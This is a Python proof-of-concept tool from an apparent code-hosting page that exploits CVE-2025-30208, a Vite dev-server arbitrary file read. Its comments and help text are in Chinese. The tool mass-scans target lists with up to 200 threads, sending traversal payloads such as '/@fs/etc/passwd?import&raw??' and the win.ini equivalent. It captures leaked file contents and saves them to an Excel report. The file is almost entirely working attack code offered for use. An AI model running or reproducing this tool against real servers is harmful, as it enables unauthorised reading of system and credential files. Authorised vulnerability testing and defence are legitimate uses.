CVE-2025-30208-PoC/Vite-CVE-2025-30208-ReadAnyFile.py
iSee857 dbddfee5f2
Create Vite-CVE-2025-30208-ReadAnyFile.py
CVE-2025-30208动态检测
2025-03-27 14:23:41 +08:00

227 lines
7.5 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

import requests
import argparse
import urllib3
import concurrent.futures
import threading
from openpyxl import Workbook
from openpyxl.styles import PatternFill, Alignment
from openpyxl.utils import get_column_letter
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
COLORS = {
"GREEN": '\033[92m',
"RED": '\033[91m',
"YELLOW": '\033[93m',
"RESET": '\033[0m'
}
result_lock = threading.Lock()
global_results = []
EXCEL_STYLES = {
"SUCCESS": PatternFill(start_color='C6EFCE', end_color='C6EFCE', fill_type='solid'),
"WARNING": PatternFill(start_color='FFEB9C', end_color='FFEB9C', fill_type='solid'),
"FAIL": PatternFill(start_color='FFC7CE', end_color='FFC7CE', fill_type='solid'),
"ERROR": PatternFill(start_color='FFD700', end_color='FFD700', fill_type='solid')
}
def parse_payload(payload_str):
if '??' in payload_str:
# 使用rpartition确保只分割最后一个??
path_part, sep, indicator_part = payload_str.rpartition('??')
return (f"{path_part}{sep}", indicator_part.strip()) # 保留原始分隔符
return (payload_str.strip(), "")
def check_url(target, payload, success_indicator, proxy):
full_url = target.rstrip('/') + payload
result = {
"url": full_url,
"status": "PENDING",
"status_code": 0,
"indicator": success_indicator,
"content": "",
"error": ""
}
try:
proxies = {"http": proxy, "https": proxy} if proxy else None
response = requests.get(
full_url,
timeout=10,
verify=False,
proxies=proxies,
allow_redirects=False
)
result["status_code"] = response.status_code
result["content"] = response.text # 保留完整响应内容
if response.status_code == 200:
if success_indicator:
if success_indicator in response.text:
result["status"] = "SUCCESS"
else:
result["status"] = "WARNING" # 200但未匹配标识
else:
result["status"] = "SUCCESS" # 200且无标识要求
else:
result["status"] = "FAIL"
except Exception as e:
result["status"] = "ERROR"
result["error"] = str(e)
return result
def process_result(result):
status_colors = {
"SUCCESS": COLORS["GREEN"],
"WARNING": COLORS["YELLOW"],
"FAIL": COLORS["RED"],
"ERROR": COLORS["YELLOW"]
}
status_msgs = {
"SUCCESS": "检测成功(存在漏洞特征)",
"WARNING": "检测成功但未匹配标识(需人工确认)",
"FAIL": "请求失败",
"ERROR": "请求错误"
}
color = status_colors.get(result["status"], COLORS["RESET"])
status_msg = status_msgs.get(result["status"], "未知状态")
output = [
f"{color}[{result['status']}]{COLORS['RESET']}",
f"完整请求URL: {result['url']}",
f"状态码: {result['status_code']}",
f"匹配标识: {result['indicator'] or ''}"
]
if result["status_code"] == 200:
content_preview = result["content"][:1000] # 显示前1000字符
if len(result["content"]) > 1000:
content_preview += "\n...(内容已截断,完整内容见报告)"
output.append(f"响应内容预览:\n{content_preview}")
output.append("----------------------------------------")
print("\n".join(output))
with result_lock:
global_results.append({
**result,
"content": result["content"][:50000] # Excel中保留5万字符
})
def export_to_excel(filename):
wb = Workbook()
ws = wb.active
ws.title = "检测结果"
headers = [
"目标URL", "检测路径", "状态",
"状态码", "匹配标识", "响应内容", "错误信息"
]
for col, header in enumerate(headers, 1):
ws.cell(row=1, column=col, value=header)
ws.column_dimensions[get_column_letter(col)].width = 30
for row, result in enumerate(global_results, 2):
ws.cell(row=row, column=1, value=result["url"])
ws.cell(row=row, column=2, value=result["url"].replace(result["url"].split('//')[0]+'//'+result["url"].split('//')[1].split('/')[0], '')) # 显示相对路径
ws.cell(row=row, column=3, value=result["status"])
ws.cell(row=row, column=4, value=result["status_code"])
ws.cell(row=row, column=5, value=result["indicator"])
ws.cell(row=row, column=6, value=result["content"])
ws.cell(row=row, column=7, value=result["error"])
fill = EXCEL_STYLES.get(result["status"], None)
alignment = Alignment(wrap_text=True)
for col in range(1, 8):
ws.cell(row=row, column=col).fill = fill if fill else PatternFill()
ws.cell(row=row, column=col).alignment = alignment
wb.save(filename)
print(f"\n{COLORS['GREEN']}[+] 检测结果已保存到 {filename}{COLORS['RESET']}")
def main():
parser = argparse.ArgumentParser(description="Vite路径遍历漏洞检测工具 Author:iSee857", formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-f", "--file", help="包含目标URL的文件")
parser.add_argument("-u", "--url", help="单个目标URL")
parser.add_argument("-p", "--payload", action="append",
help="""自定义检测路径(支持两种格式):
1. 带检测标识:/path??indicator
2. 仅路径:/path?param=1??
示例:
-p "/@fs/C://windows/win.ini?import&raw??"
-p "/@fs/etc/passwd?import&raw??
""")
parser.add_argument("--proxy", help="代理服务器地址http://127.0.0.1:8080")
parser.add_argument("-o", "--output", default="results.xlsx",
help="输出文件名默认results.xlsx")
parser.add_argument("-t", "--threads", type=int, default=50,
help="并发线程数量默认50范围1-200")
args = parser.parse_args()
if not args.url and not args.file:
parser.error("必须指定 -u/--url 或 -f/--file 参数")
if args.threads < 1 or args.threads > 200:
parser.error("线程数必须在1-200之间")
# 初始化检测规则
if args.payload:
payloads = [parse_payload(p) for p in args.payload]
else:
payloads = [
("/@fs/C:/windows/win.ini?import&raw??", "fonts"),
("/@fs/etc/passwd?import&raw??", "root:x")
]
# 准备目标列表
targets = []
if args.url:
targets.append(args.url.rstrip('/'))
elif args.file:
with open(args.file) as f:
targets = [line.strip().rstrip('/') for line in f if line.strip()]
# 启动多线程检测
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = []
for target in targets:
for path, indicator in payloads:
futures.append(
executor.submit(
check_url,
target,
path,
indicator,
args.proxy
)
)
for future in concurrent.futures.as_completed(futures):
process_result(future.result())
# 导出结果
if global_results:
export_to_excel(args.output)
else:
print(f"{COLORS['YELLOW']}[!] 未发现有效检测结果{COLORS['RESET']}")
if __name__ == "__main__":
main()